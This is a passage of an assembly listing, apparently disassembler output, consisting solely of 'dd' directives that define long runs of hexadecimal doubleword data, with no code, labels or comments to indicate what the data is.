		dd 0BCBB02EAh, 756656C6h, 4758330Eh, 3FF15F52h,	0CBB27E12h
		dd 1C116D40h, 92B00397h, 2E130DBh, 8109DD52h, 37585FBFh
		dd 91B894Ah, 0AB017884h, 4B8D382Ch, 0F939C1Dh, 0A4CC2FEDh
		dd 0D3E912DFh, 0A21EA701h, 7FA426Bh, 0B8708E6Bh, 16665864h
		dd 0ECA7E9BBh, 9AC94A54h, 0F2B86D29h, 8501AC1Eh, 6B90ED6h
		dd 4AA5E8D2h, 0F14EBFCBh, 0BAD5D253h, 810FB7D0h, 1BF72625h
		dd 89BFD4E9h, 83CA0295h, 4AB54C67h, 0F446D951h,	1822675h
		dd 2B65BD84h, 0F994242Eh, 15B8D1h, 9034EA84h, 8B60379Fh
		dd 9661CF17h, 99A11702h, 7851F350h, 4F278707h, 0AF4782E5h
		dd 1BB5578Bh, 0B2801A91h, 9A08DD03h, 6805A290h,	6A5B0E5Ah
		dd 0C04A61B8h, 440DA5D3h, 359856F4h, 5BDAD554h,	75BA1297h
		dd 0AC70A8F3h, 8F400CCBh, 0E15C721Dh, 9D501440h, 0FB383187h
		dd 24045202h, 85809AB7h, 89A3EBEAh, 0BFA54E8Dh,	14698E27h
		dd 707BBBCCh, 33049C73h, 61F529B5h, 6592381h, 2185B217h
		dd 0B5259E57h, 9C0F1805h, 52009A96h, 0A8921E05h, 72F267h
		dd 0B7869B60h, 0BB19D812h, 0F753A527h, 5B5FBF10h, 6E121497h
		dd 8FC91F26h, 47740B92h, 77BC0340h, 0F7891610h,	8D1AA084h
		dd 125B2B40h, 0C821E9F5h, 2EFB69F1h, 0ADA5D93Bh, 4833B8EBh
		dd 8D13D790h, 5645359h,	461C7D5h, 0CD2A85D4h, 5B8535DEh
		dd 7501C149h, 4B90AE66h, 0E5F92506h, 0FCD2101Bh, 0E1038C1Bh
		dd 71234FCh, 5CAF8A22h,	667F4996h, 0A2360023h, 0EB21C78Ah
		dd 6E489D10h, 5E8DB325h, 9406E8Bh, 82B1104Fh, 5EFDC7D3h
		dd 77706BA1h, 15380341h, 0C8829A5Fh, 0F808C515h, 2A19C0CAh
		dd 1CD476C1h, 4015BDD2h, 45BE3C3Dh, 3BF3899Ah, 59B81312h
		dd 0A66AFBA4h, 4074E12h, 0AE2EADF8h, 25575273h,	1E79D9DEh
		dd 50F2F349h, 8D983ED1h, 0FF587225h, 3CF51A20h,	1500F136h
		dd 9673E031h, 444BF50h,	893D5FCEh, 0E1E6EB34h, 21D70AE2h
		dd 35DB5C2h, 0FC5712Ah,	0EC443B80h, 74AFC5B7h, 0A8EBE90Eh
		dd 607B012Eh, 958B88B1h, 42092AEDh, 0D6017461h,	0A3001A46h
		dd 9E541493h, 5EBE8561h, 64DE0840h, 34492436h, 1A7D08F6h
		dd 0FBB3C2A5h, 0FF37D0BEh, 757CF104h, 78811573h, 0DB2B2455h
		dd 0C01CC820h, 79CC5EFEh, 0CE3CED04h, 29C1CFAFh, 892B15D9h
		dd 0D61B38E8h, 8E08804h, 6E5FBDBCh, 11DE0710h, 0F364F0E6h
		dd 0A64EB9BCh, 0F179E080h, 0F7F84AD6h, 0AC74492Ah, 4BFC9F6Fh
		dd 95098543h, 8B127EBDh, 4BCCF3D8h, 956A578Ch, 0F5E2FA4Dh
		dd 27B85933h, 0D1502D45h, 0A44C01ADh, 0C08060D7h, 0A7857EDDh
		dd 16AC14F9h, 0D374178Ch, 0E5770C8Fh, 8E9996AFh, 61AFC080h
		dd 0FA0AA4h, 27D4A184h,	0A3B6F159h, 7760E9BEh, 6C6BBBh
		dd 0EB45899Eh, 1B86A754h, 65460E00h, 60CAFCAFh,	715B7351h
		dd 965F1961h, 6E813466h, 18C8C89Ah, 3DCE3AC0h, 89710467h
		dd 0AA0E959Dh, 14C8AFDBh, 8BF53BC0h, 9E9497FEh,	823E3245h
		dd 0FBF19601h, 3015003Bh, 84030BD3h, 316500C8h,	5D34FDD0h
		dd 577C80F2h, 432AF027h, 0CB044B5Dh, 9606406Dh,	2790FC55h
		dd 754CE16Ah, 41694CCh,	0DF80098Eh, 0E3DDAA68h,	0FFA86A3Dh
		dd 153F0114h, 16249450h, 9CBD04F9h, 39C2BAD3h, 0FAA7D061h
		dd 6620ED69h, 97C67BC9h, 3A45A494h, 4AC9C130h, 6106F721h
		dd 0A7D3F748h, 6F4C122Fh, 11DA0056h, 9B8E58AAh,	0C5094AB7h
		dd 5C7BAE2Dh, 0A003043h, 8D6EF7A3h, 861CE946h, 942FFF2h
		dd 5E1AC1BDh, 71DB696Eh, 138C7150h, 7F18273h, 990A0560h
		dd 0C401776h, 0EC6922h,	9A8A7766h, 0AF730799h, 0D9DD1A0Fh
		dd 7DF75219h, 81FC9A5Eh, 1DA68D4Eh, 4AB7BCD4h, 0DB7ED4F8h
		dd 0CDBED384h, 7422382h, 0A5C16BDEh, 585E32C0h,	6EF304E2h
		dd 0E8B7D4B1h, 0E8E617DDh, 5A4B30BDh, 0C249100Fh, 12EE0616h
		dd 0B618CDF8h, 0C060F22Ch, 970971CEh, 9D8B7790h, 0C982BD4Bh
		dd 0B9BF9890h, 2B8D00C5h, 0CB65DAE1h, 53005FBBh, 6331D63Bh
		dd 0F150868Fh, 125A8130h, 0E6905BD0h, 0FEDCE0B8h, 1345705Ch
		dd 0BE60EBD1h, 0E3066CDh, 0FCA9B430h, 0EF7AE401h, 19D2F850h
		dd 4F751F70h, 9238DF09h, 0B9964FFCh, 8C1AAC53h,	54FA3A01h
		dd 0D8513194h, 409D202Eh, 2F00FBA4h, 0AE71E3C5h, 988687Eh
		dd 0BB9BA3CEh, 5BA504D3h, 0F64350B0h, 0B10076FEh, 533BF60h
		dd 2C8B65B3h, 0AD40398Dh, 0D9938770h, 18F00778h, 0A50E44Eh
		dd 0AE136EBBh, 1A24418h, 60FCA789h, 0A005C663h,	9787AD7h
		dd 26A5EC0h, 48DC3B54h,	0D1102094h, 0CF801D02h,	44EB896Dh
		dd 14A7729h, 0F0FC3D55h, 6103B5ADh, 8026685Ch, 975C901Bh
		dd 0CBA0B5A4h, 3D8C78BFh, 0B79F6A7Dh, 4BDE003Ch, 0CBA69315h
		dd 81D9822Eh, 35355552h, 42A9F1A5h, 9C5799E9h, 0CE02169Ah
		dd 49A7A18h, 65B03582h,	0DBE03FF6h, 0B52789A3h,	7B2009FDh
		dd 80CDAF65h, 0A384EC40h
		dd 0BD230849h, 252A25E1h, 907B540Dh, 0D9610260h, 405EB83Eh
		dd 98093EE2h, 0CD904F1Eh, 3EBCE50h, 2BE9158Fh, 60520774h
		dd 972F59F9h, 0BA48074Fh, 0D0F647E0h, 0BD0B1708h, 6BB5A18Dh
		dd 9A3BEF9Dh, 0F1B781A1h, 0AEF81AA4h, 3BC4139Bh, 24E80131h
		dd 3BFF6A7Eh, 0A0012D6Eh, 0EA3EC897h, 0EA914576h, 8B85275Fh
		dd 0B6C15BD9h, 7A2A2319h, 0F8820F09h, 0F8F0C974h, 8A0E4EB1h
		dd 0EBB47E93h, 11D4142h, 0C2B032B3h, 0FE40F774h, 0C01150h
		dd 87548BE7h, 2A6ECAB2h, 0B52F29F6h, 0C6352C5h,	71E470E6h
		dd 0E6B5114Fh, 41BB45D3h, 2E08F940h, 0C06A4E89h, 0BAAED40Eh
		dd 0B7D217F5h, 0BF99E0D9h, 0EDCB13B3h, 815CA071h, 0FD53EF09h
		dd 5DA65766h, 0BF00442Bh, 0D18B70FEh, 65E9EBB3h, 0BCFC4B83h
		dd 2E6B80B2h, 0D047E1h,	78B4A933h, 19A60174h, 4C2C090Eh
		dd 3D8572B5h, 0BC5F34AFh, 0C380085Eh, 1DE0B1E9h, 5E323A2Dh
		dd 0E9F92119h, 6D0DAC45h, 3E32A960h, 0CCEA00ACh, 47CEA425h
		dd 4D2782F7h, 9668461Ah, 48E425D4h, 10D02053h, 0D94B2C65h
		dd 77047E49h, 0E3C43E17h, 5E495D1Ah, 4BE8CE45h,	70C27B2Fh
		dd 0DC163476h, 5A0F8C5h, 4C02830Eh, 0C591FBFh, 0CD92E063h
		dd 0BFE5B51Ch, 508C7BA7h, 0FF3B82A9h, 0FAE50112h, 0FF8B9F5h
		dd 0ED5D8748h, 36FCE111h, 0D7A2F14Fh, 5EBFA570h, 617AA0D8h
		dd 140469Fh, 0A84B5B4h,	0F110B0DAh, 66092BEDh, 76595Fh
		dd 9D955A06h, 0CA1D2D01h, 7AA78D89h, 0C02B264Ch, 9400DE3Ah
		dd 0E20B0CAh, 1993C07Dh, 7EF9CEA3h, 78243AD9h, 73F6F212h
		dd 0A555B6D2h, 5F8FB2AEh, 3FE05CB6h, 9AD23294h,	0D84059F2h
		dd 2D7BF135h, 496A2B3Eh, 49DC9802h, 7A74F562h, 21846D6h
		dd 0C658F205h, 27175DCEh, 401D4DA7h, 2921409Dh,	77FC3FE9h
		dd 717DCA4Bh, 70DA8B88h, 78EFBFB8h, 0F0808367h,	0E8A88Dh
		dd 813ECCD5h, 2E5DC2DBh, 9C9D434Eh, 0C1A8D73Dh,	0F689FA24h
		dd 922AF108h, 7386FE1h,	2FB6D54Ah, 95096E60h, 32479735h
		dd 5F03FB89h, 0CB0140BDh, 0E9CCEE76h, 50E64CA7h, 391A512Bh
		dd 0DD210110h, 6E181CF9h, 722BE800h, 6ABA805Fh,	4E1ABA5Bh
		dd 21978A60h, 818D0472h, 0B7600B29h, 216782F4h,	0BF783E8Bh
		dd 42A44327h, 845EB786h, 0E8110EACh, 29F65A7Eh,	5B0E96E0h
		dd 38289F09h, 447FD2B1h, 55B26040h, 45B53319h, 743A61FBh
		dd 0A031E687h, 9E6A774h, 1C4E783Eh, 90A583D1h, 0C8351Ch
		dd 0F9F8FD2Ch, 10097572h, 0C671EB02h, 432B84C5h, 908514D2h
		dd 0E25A1BE8h, 7AB00E2h, 6367BFA5h, 0D911725h, 0B836310Eh
		dd 4B90C0FEh, 27A6F701h, 26FB7DCBh, 0E50E8CCh, 5F1B3EDBh
		dd 5DCCBBB3h, 9C7212BBh, 0E1C9C590h, 309E7BB0h,	9D006D94h
		dd 0C571088Ah, 6803D935h, 957BB0B6h, 16AEE40Fh,	2CF56212h
		dd 111727Fh, 0DE1D8333h, 3EBC9867h, 4900A5FCh, 316AA353h
		dd 9BF898Dh, 0D61B5EF0h, 0E1271446h, 4BF7D46h, 0E9022C76h
		dd 6F550187h, 0D04F41A4h, 0B83420CBh, 40B0F077h, 35224924h
		dd 0B7779066h, 0E92B2884h, 8531C25Ah, 25FDDE6Dh, 0BF0459E6h
		dd 5F244A28h, 0E9D258E9h, 0FB1A872h, 8FD1DC80h,	880F9CAh
		dd 891A2A9Dh, 57EDC204h, 64252A45h, 526F00E0h, 45D513C8h
		dd 8018EF2Fh, 0BD9AD3F3h, 881C4E61h, 0EB3D8163h, 2E138177h
		dd 0E8605696h, 0E5806978h, 186BE7E0h, 87C4E00h,	168EEDA3h
		dd 0ADE800D0h, 0F2CEA99Dh, 0E2008A5Eh, 0BB505B61h, 25C8F3FDh
		dd 0F85B9676h, 1EF7D70h, 1B1CDCDDh, 68119D09h, 67CD4BECh
		dd 0C562DC6Bh, 90683040h, 0E1882475h, 0ADB9824Fh, 0B7DD1E96h
		dd 0A9FA0344h, 5FA0C78Dh, 34134498h, 6CA1F5DAh,	0C0C6DE6Bh
		dd 70987BA5h, 95292753h, 0FFC90ADDh, 0B4DDCE25h, 0D7A83CABh
		dd 157D2DCEh, 0BD0472F3h, 5E14266Dh, 11059D09h,	0FE228D1h
		dd 2630758Eh, 330BB308h, 743049BDh, 3B2D7133h, 74E889EDh
		dd 453E7D02h, 740DB71Ah, 0B529401Ah, 768730ADh,	699D8904h
		dd 0B3FE1423h, 756300E1h, 5B94CF0h, 61250073h, 48E02042h
		dd 2EE8165Eh, 0C031C858h, 22C57A3h, 8F6A01D6h, 0D1B7DBA7h
		dd 7BB9DC50h, 43F29497h, 0F06A5F20h, 0ECF9221Fh, 75486041h
		dd 3400ECD7h, 407D8E02h, 0F8442CC1h, 7F220992h,	1167525h
		dd 0F776DE69h, 2EE0184Dh, 93A612Dh, 1244CE63h, 0D64A5309h
		dd 165970FBh, 0BA258618h, 9FD0EEB0h, 9A015235h,	0FEB70F5Ah
		dd 0AE24122Fh, 0AB12127Bh, 5BE5F7F8h, 3E006F6Ah, 0B6EE40E4h
		dd 81005532h, 539899DBh, 9851964Dh, 0ED5FE6B5h,	8DECB6A5h
		dd 73C90997h, 33B5AFB5h, 92983D00h, 0AA4E512h, 0B5B76F8Eh
		dd 0D94FA58Fh, 0E6F25361h, 7E3050CDh, 8105E309h, 2F0D0775h
		dd 10BDAA74h, 434B6DA8h, 14C89FDAh, 60EF2AC4h, 919D3165h
		dd 0F27AE9Ah, 8CBAD58Ch, 85630EFEh, 7D6E84Ah, 5AC10026h
		dd 61240A96h, 5197C283h, 0EB9E02h, 0B1B96020h, 0D37E2E0Dh
		dd 4309D6E8h, 781F79FEh, 51095CA2h, 0B913845Bh,	89AD289h
		dd 7DEC0E81h, 7D602FE6h, 9F6ADAB7h, 61E0034Dh, 9371362h
		dd 0DF7B52A8h, 6C9568D8h, 0C8EB04C9h, 0AB5B9255h, 3BBBBCD8h
		dd 7627A577h, 97B74462h, 8202E080h, 5C589C2Ah, 0C948D1C0h
		dd 32736269h, 36181C59h, 5116A100h, 963EDCF7h, 0FB0F4ED6h
		dd 5DBF7B40h, 971C64D7h, 6E603B99h, 0C8A11720h,	97372C98h
		dd 35C102BBh, 2D5E61AAh, 81153951h, 531F9D2h, 1DECF612h
		dd 0CDC8FA93h, 0EC650145h, 27C9D8A2h, 15A120F4h, 0E98B97Fh
		dd 1A0BE928h, 6255C903h, 809E657Fh, 94A3F70h, 0B9953196h
		dd 9209AA42h, 5FF0D5FBh, 395309C5h, 8A1B5A41h, 3548DDE0h
		dd 0D600EE79h, 0C95BD03Fh, 160A6730h, 0BD02C8DBh, 0C8BD8E82h
		dd 700B2D2Fh, 355D4BC2h, 80199145h, 0C5B557A2h,	0C2B05031h
		dd 86C225EFh, 4439F87Bh, 0A6170525h, 838F5F47h,	9F4A1956h
		dd 3EC8F9E2h, 0DD9D0382h, 0E9555E08h, 0DC815Eh,	0EF120C2Ch
		dd 0B0BB8E38h, 0D1852909h, 40C55E10h, 20ED381h,	148767F0h
		dd 530EF53h, 0B0E95F35h, 29CDE095h, 0C89259Dh, 19E440E7h
		dd 299CD160h, 0CA593E14h, 57916D5h, 4F098AEBh, 2553FFBh
		dd 8A25BD22h, 0A7295EFAh, 0D0706773h, 0A976090Ch, 2B052B91h
		dd 343FAF24h, 76031423h, 4A75B529h, 0D29120E9h,	12004EB6h
		dd 85998849h, 55C344h, 0B07DBEA4h, 0D535693Dh, 81A2175Fh
		dd 0A4665B00h, 86BFFE91h, 7768E30Bh, 9A778DCCh,	93B4ED6Ah
		dd 0AD038294h, 0FD18DE2Ah, 75C0C5DBh, 42BFDA23h, 0A5685E38h
		dd 58A1E0C2h, 858909EAh, 0B5571965h, 801B11A3h,	141FCE6Ch
		dd 53190080h, 5690BF0Dh, 0A5907C7Eh, 5F0B0920h,	60842050h
		dd 0BA00A708h, 7DD66F27h, 12C0EAD8h, 5C9ADE86h,	0C1B5C900h
		dd 0CBDB5929h, 38A545D1h, 0C2A50BF1h, 0C4F3D540h, 0B7CCE6D1h
		dd 0BD5F4E77h, 8C17AC11h, 34157202h, 4DD1FFB5h,	5897E19Dh
		dd 0E8C27BF5h, 1A1C5D14h, 18F2C043h, 2568AC30h,	4B567A16h
		dd 6AF2A802h, 0CFB75D02h, 0D6B7FA00h, 9DFD8AD5h, 0FCA56571h
		dd 243FE004h, 0EC147629h, 22D2C2C5h, 0E7B90013h, 0CD8D7FFAh
		dd 1A00B17Ch, 64826CCFh, 0E086CADAh, 0FCFE4A48h, 0F5B0971h
		dd 408A5C31h, 9CACB84Bh, 0B2103A0Bh, 132FFC6Dh,	6BF290h
		dd 0ABAD3650h, 7841C17h, 6C31FD3h, 0C40500F9h, 8F4A4E7Dh
		dd 4FCE96F0h, 2DAC043Fh, 582CBA2Bh, 71E6B7FBh, 0E9D1B709h
		dd 71607429h, 27F22134h
		dd 86B0A09Fh, 518CC54Eh, 0D9A4890Ah, 66D82B1Bh,	41CF0125h
		dd 1207C290h, 75E4F408h, 17DA4B12h, 16AC92E9h, 6B18138Ch
		dd 2C73F1EBh, 0E0F88096h, 61E6B0h, 2A3F103Dh, 36AB86B7h
		dd 88696607h, 0FA69C9B9h, 0EDFEAA7Fh, 685AC047h, 4A7C1F84h
		dd 799EF225h, 20A105ABh, 1C93C009h, 1F04EB46h, 532419ABh
		dd 0EC9044BDh, 0B838A04h, 0D644BC40h, 847D9BABh, 3CBDF3C4h
		dd 801BDAD3h, 0F16C7455h, 0FF6A27F8h, 0E1070AB7h, 0E3E0A725h
		dd 5CDDDB62h, 992DAF37h, 0FB24F3FAh, 1115757h, 0F65FFC12h
		dd 1D2E3011h, 25F98B53h, 26E4315Bh, 57B8B070h, 1025A520h
		dd 56670E6h, 71E491A6h,	9EA29BC4h, 37EAD980h, 647B27F9h
		dd 62537803h, 0A88C51DDh, 970F6A56h, 0EBEF1BA4h, 1AD0A9Ch
		dd 1795F45Bh, 0F0222656h, 1BB0D070h, 4B1ADD20h,	8B2CC15Bh
		dd 29202FFAh, 814DDF80h, 61DA7060h, 5ED21141h, 0DB80042Ch
		dd 8129BC7Fh, 498D2956h, 0B75FA624h, 0E8D1A122h, 2CFE6480h
		dd 0E300155Bh, 2DC3B01h, 69304A6h, 41A2F767h, 9122446Dh
		dd 87E93307h, 11E1093Bh, 70216A31h, 98921B53h, 0FED2C804h
		dd 463E8B97h, 0ED3ADD7Fh, 25FCE02Fh, 150D41E9h,	52E9A781h
		dd 9D0B0F85h, 4B43E841h, 9901358Dh, 0F62A16EDh,	43722D7h
		dd 71BD8956h, 7B5B090Ch, 52BF013Ah, 47A18B0h, 0C0FE5914h
		dd 0FEC78155h, 7D480015h, 0FAB15CAAh, 3F1CF519h, 0A549DFF9h
		dd 84F7B47h, 467C5BE1h,	3F93481Ch, 0D3100194h, 6ADFE46Bh
		dd 0C0BDDB3Bh, 9F08C831h, 0F3E3173Fh, 0EFE630F9h, 6400D857h
		dd 40FD0478h, 45F6341h,	69B5094Bh, 3B9BAE2Eh, 0E1CE1BC8h
		dd 99F52B91h, 609EF12Eh, 244049A6h, 10CF38B9h, 0C0099B4Ah
		dd 0B9B7D35Ch, 0D76A008Eh, 57BF90FBh, 619734B1h, 9B2AFC83h
		dd 0B8D99773h, 2089B29Dh, 0FC5FE195h, 0CBB88C7Dh, 8B0B7874h
		dd 8034E562h, 2BCE5644h, 84954A9Dh, 0A897AD8Fh,	57138C15h
		dd 3CE3BA14h, 0A23015F2h, 0C151BEC9h, 6E23E19Dh, 0DA4E11DFh
		dd 0BEB4801Bh, 4FD5E50Dh, 0AFBFC807h, 3F4F0109h, 0C8DB0F53h
		dd 0B5D5AD19h, 6DD3840Bh, 8183E80Dh, 0ED4EEBC7h, 603CC86Ah
		dd 0C802EB9h, 8B849439h, 7ADC0393h, 0D60656B7h,	0CC801798h
		dd 5B61C613h, 0BE5D06A2h, 0DB97E8B8h, 3D18873h,	0F8139424h
		dd 0FC2505A3h, 3363E6E5h, 7719CA9Dh, 7540FCCFh,	0B8BD71D0h
		dd 159120BAh, 17BF6609h, 47F17957h, 0BDD70955h,	451102CDh
		dd 774458A3h, 0DCF7D49Fh, 0D7436513h, 284C02A3h, 0BF10D51Ah
		dd 4E8B15C0h, 0E5E1FF25h, 42F39C2h, 0DDD271F3h,	0CF0254D1h
		dd 0C10CA72Ah, 9DA1543h, 350D1B02h, 0EC71C75Eh,	0E98D3110h
		dd 3CB3344Bh, 0B7ADA388h, 84550926h, 2DE47474h,	0EDA494BEh
		dd 0E3B8B832h, 6EC1172Fh, 1AEF09F2h, 94C1789Dh,	8503409Ch
		dd 0ED002396h, 333C200Eh, 126DE5D5h, 0F4BDA13Fh, 14A5DB3h
		dd 94A0D5A7h, 460B50FDh, 5C196DC7h, 0BCE140F9h,	221CC9ADh
		dd 0CAC95F04h, 0A5D97BFEh, 370511B5h, 0A2BB8A94h, 7D4B0088h
		dd 0B8E0707Bh, 2DC0EE6Bh, 63DB2BD1h, 0E8191759h, 0CBA0DD33h
		dd 9004F88Bh, 6050DA8Ah, 0D85F2BCh, 47328039h, 0D90E941Ch
		dd 0A2768102h, 7D38897Bh, 0BA66EB00h, 90EC5B3Dh, 0DF2B7B5h
		dd 3A3A0C0Dh, 849C2h, 0B8852568h, 3A20B75Ah, 1C7EF6CDh
		dd 8006C6E0h, 612B0D5Ch, 0E6012188h, 518D3B80h,	0A32BA99Ch
		dd 0DD8A132Eh, 8CAC7384h, 667EDA04h, 0E5F4F648h, 98D4DC9Ch
		dd 2B252579h, 0D16265D9h, 0E9121412h, 1298016Ch, 80ED0075h
		dd 0BF6ED938h, 970051B6h, 0A3260943h, 25E740B3h, 0D0E2870Bh
		dd 605CEF75h, 0B177BBF3h, 0FEA60E5Bh, 4B35EE50h, 29EBDC05h
		dd 104B9D77h, 893744B7h, 0BD2CE4E1h, 0A1BBCAC4h, 0E27FA00Bh
		dd 31B55C85h, 3150FF0Ch, 0A0822829h, 745EE2C5h,	0CBD60008h
		dd 55E1EC52h, 0E50217CAh, 89EDB797h, 0E4CD5734h, 0C048DCE9h
		dd 1CA5BD29h, 62ABBA97h, 9F237782h, 0DAB00F68h,	9849B3DCh
		dd 0A6F0041Bh, 0D8EE2344h, 0EB848D75h, 88EADA6Eh, 4D0CC019h
		dd 0EB078474h, 0A1A5BF75h, 0C7826B24h, 3EB14056h, 0FC595CBCh
		dd 0BEDAC038h, 0FFE63F16h, 1B9A3CE0h, 126E2201h, 0DAC255A9h
		dd 2FC5D571h, 0E3D8C04h, 2ACB39h, 0D1D015B6h, 9377219Bh
		dd 13511675h, 21F5F55Dh, 0BA9B3A03h, 1982AB8Bh,	0E15EB7D9h
		dd 3FE78158h, 2AA5F36Eh, 0CD27D6EFh, 1DAF43E3h,	0F2257EA6h
		dd 3BD6E444h, 1621BD0Bh, 0F810A7DDh, 3700DD80h,	78162642h
		dd 126C73F6h, 0F66625E6h, 3CA5E037h, 3B429FC6h,	9A53D75Ch
		dd 0ABBDD504h, 87C41700h, 24FF71A2h, 1772E44Bh,	1360E821h
		dd 0D0A30639h, 0EF03C984h, 0D701E97Ah, 6D85018Eh, 7B26A1Bh
		dd 0A86F1692h, 0DABD4AECh, 18C14B8h, 0B9BF52EAh, 2E3B8E83h
		dd 9B8C54A0h, 610BF016h, 8418E87Dh, 0E5AE60BBh,	0B9668021h
		dd 61CF6C12h, 0B65EC4F7h, 0D8D0A3D7h, 474392Ch,	0E7C47750h
		dd 0A7C9EA01h, 75B5302Ah, 0ED00DBB5h, 0E301FB96h, 9ABB82CDh
		dd 7AACA0DBh, 66959538h, 18BD6740h, 6B9000E0h, 0DCE9D381h
		dd 0D39572A5h, 181D59BBh, 1EA1006Eh, 0F891F696h, 0A34C069Dh
		dd 38974EFh, 0A33BC5E9h, 0BB6B9674h, 0F2319705h, 0FCBE2ECh
		dd 81990A3Dh, 0ED9450FBh, 4B79BD60h, 4CB6A706h,	1C2512D5h
		dd 0FAD294E9h, 9C538C16h, 5AAF6BEEh, 0CA65DA61h, 41090760h
		dd 0DE172E11h, 2D7CDA6Eh, 4579F999h, 553DC400h,	0BB13CBEh
		dd 0AC4C15DAh, 99724D0h, 0AD2137F9h, 9A975F4Eh,	8B84DD16h
		dd 867781DEh, 4DB72BB8h, 0A4707FB0h, 0E5076B02h, 609A9447h
		dd 5BDEBF80h, 7454556Ah, 0F1210E93h, 0EDFC2F10h, 631464DBh
		dd 0FF6425CDh, 791D24D0h, 82B450C9h, 5AA03C35h,	5F054029h
		dd 640B4D97h, 0E3376016h, 9D2B096Bh, 1C5D0649h,	8023444Ah
		dd 0A479C730h, 5CD4B6BFh, 38C0F650h, 97DD20B5h,	0ABA71F09h
		dd 743BDDC1h, 0DAB7D013h, 1DB25FA6h, 9FC130h, 0A294EF7Eh
		dd 91CE8630h, 0B73C69Dh, 1475B509h, 9EF01657h, 0BD14D49Fh
		dd 965BF50Ah, 91BAFD2h,	63288DD5h, 69C15EEAh, 0A7703C7Bh
		dd 21C01CFBh, 0D0E565AEh, 0D482A11h, 0F71B4D12h, 27884AD0h
		dd 0F2A00002h, 89A344E5h, 0FF005A90h, 712F27FAh, 7DAA1042h
		dd 5AB77F51h, 0A6F1B95Fh, 23F92068h, 0E229E925h, 4B755BAh
		dd 13E4DF00h, 0EDE11631h, 13D2B928h, 4C32A94Bh,	12C12ED3h
		dd 7B037909h, 815680C2h, 4EF66CBh, 5C5B5125h, 0AED8133Dh
		dd 7B316830h, 5DD200B4h, 211A2B30h, 75008540h, 0E74E0502h
		dd 561DC679h, 29B06390h, 3AFE5F96h, 90D282Fh, 0DE697CC2h
		dd 901C47Dh, 0BA0FFE61h, 0F5731AFFh, 42F4E45Bh,	9EB7B200h
		dd 583849E2h, 8FD6B5ECh, 46058E48h, 2FA118EEh, 8C6E13DDh
		dd 7F00BB60h, 536050B1h, 968BB35Bh, 0AA70A731h,	6A5DC6F6h
		dd 0CCFCE9F1h, 0D79E0192h, 8BDB354Fh, 690F30FAh, 90601732h
		dd 8E3D5B29h, 0E20FE6Eh, 0CB756473h, 0A1B72B05h, 0FADE6A61h
		dd 0AB8CA885h, 95F975D8h, 1B648AEDh, 0B911DB60h, 0F835D026h
		dd 0D1FF7404h, 0C70059F2h, 0E4403A6Ch, 95017F52h, 0F83CB7E0h
		dd 0F3D43D9Eh, 618613ADh, 1121E85Dh, 0B7712425h, 0FC047C4Dh
		dd 0B5F6026Ah, 8CA420E3h, 0F807BA81h, 0BEF3327Ch, 2C47ED30h
		dd 0CF8500D2h, 0F6ADE321h, 3179DD1Eh, 5BF5614Dh, 0AC1E6DA3h
		dd 129C6667h, 0F9165251h, 8C19ACCDh, 9B862707h,	8289477Ch
		dd 23521D0h, 1C5E28E9h
		dd 8FEE5070h, 0A0228D61h, 0B96AAC71h, 13841298h, 0CAC05BADh
		dd 0B3745243h, 0D60185E8h, 55F9F58Bh, 4726BE12h, 3F8C17F1h
		dd 2C037808h, 225909FAh, 0FC5A725Eh, 0F902D427h, 1CEF6DDh
		dd 0E8095578h, 0C803679h, 1AEE9CA0h, 0B53239D6h, 0FA1BD201h
		dd 4FB914Bh, 0D1A67C00h, 1A5711h, 0AE810AB5h, 7E32E9CEh
		dd 0BF520400h, 44F07D4Bh, 0BB90E25Fh, 6A1C796Bh, 0E9A41FBDh
		dd 0CA2EB9FAh, 0DB800946h, 74D13Ah, 0E184BA32h,	0BF00A2BDh
		dd 33C453DAh, 951675Dh,	7B8BC36h, 2360CADEh, 810B95BDh
		dd 6A752F5Fh, 77A02EF6h, 90B50A4h, 0D70EEDBDh, 17B0804Ch
		dd 6104C535h, 0BA4095AAh, 2C2E4108h, 0E5691F35h, 3EF4527Ch
		dd 0CF82364Ch, 2F26E9F7h, 0DEC6775Eh, 0B0F82F2Dh, 16F79B40h
		dd 70E6B913h, 97530FBh,	162D585h, 0E171E436h, 0DD2BD7FFh
		dd 80762876h, 8C7609F3h, 6C0A12EEh, 0BB51F02Fh,	7B9EFC02h
		dd 5E42B74Dh, 30BF4056h, 995F54Ah, 4193D75Ch, 53180CCAh
		dd 30539860h, 8B172F91h, 5B1361F1h, 0AD0DC82Bh,	0C06BA3ADh
		dd 6EE9F8E4h, 8B0763D6h, 5F114C44h, 122FFD8Ah, 8D090434h
		dd 9E2EBC06h, 1705BD46h, 62B72512h, 6C0E36EAh, 0AFF9D6DEh
		dd 14B9D664h, 72C06B4Ch, 8F4FD11Ch, 0E1C2B202h,	0DDC9EAD3h
		dd 0F94BBB14h, 0C67834D9h, 0AD9509C1h, 81A80625h, 0C43EFC5Fh
		dd 8427B916h, 9136CB0h,	1504F877h, 0BF12FE31h, 6BD3D2B2h
		dd 19100B29h, 3CE700F8h, 1EF81ECh, 445228FCh, 50FD2B9h
		dd 22956704h, 6B5365AFh, 0FF301459h, 348D10FFh,	9814803Dh
		dd 0D04B83FCh, 66C02B2Eh, 0DEBAEECBh, 0E9E967C1h, 0CDE94373h
		dd 1E3240C5h, 0C531EEA1h, 1971663Ch, 637FB105h,	59B90ED3h
		dd 0A42D2083h, 95A0556h, 8061B3D2h, 0B22A0871h,	7469C527h
		dd 1D46D602h, 14721E00h, 0E1FEFB75h, 7107B712h,	23A58404h
		dd 412125F4h, 1E9D2B2Ch, 14006A2Bh, 62FC96B9h, 570E3D62h
		dd 5E694A47h, 7A00D487h, 0E2E81FB2h, 2DC55923h,	0E50929F5h
		dd 0CA72295Ch, 0C36D7D9Ch, 0DE8B23E1h, 8137202Eh, 0AF12C0E7h
		dd 21BD5109h, 0AC35A9D3h, 78EE002Ah, 134EF1Eh, 629A6D9Dh
		dd 0EDE1FF2Fh, 0E55CC03Eh, 0D325A80Eh, 115DC5F5h, 2CCA4A91h
		dd 9B1B9F35h, 45EED239h, 0F8238EF5h, 717280BDh,	1F579B2Fh
		dd 0E2B1F4h, 8C395415h,	0CA12B93Bh, 5EE20123h, 3E565E9Bh
		dd 0C587F010h, 2BDB02CBh, 6049B627h, 9F70207Bh,	939000B8h
		dd 62425B73h, 997DEB6h,	0DC70FE60h, 23FC5601h, 53BB6613h
		dd 2CA5A52Bh, 9529209Dh, 412257A4h, 1BE9BD0Bh, 0BCB3752Ah
		dd 6E5F82B1h, 5655E265h, 0D69CE807h, 22D68A00h,	0D4D5A0DBh
		dd 9979B04Bh, 0BA622FEDh, 0DC5CF3E2h, 245CB7DCh, 2CD98B0Bh
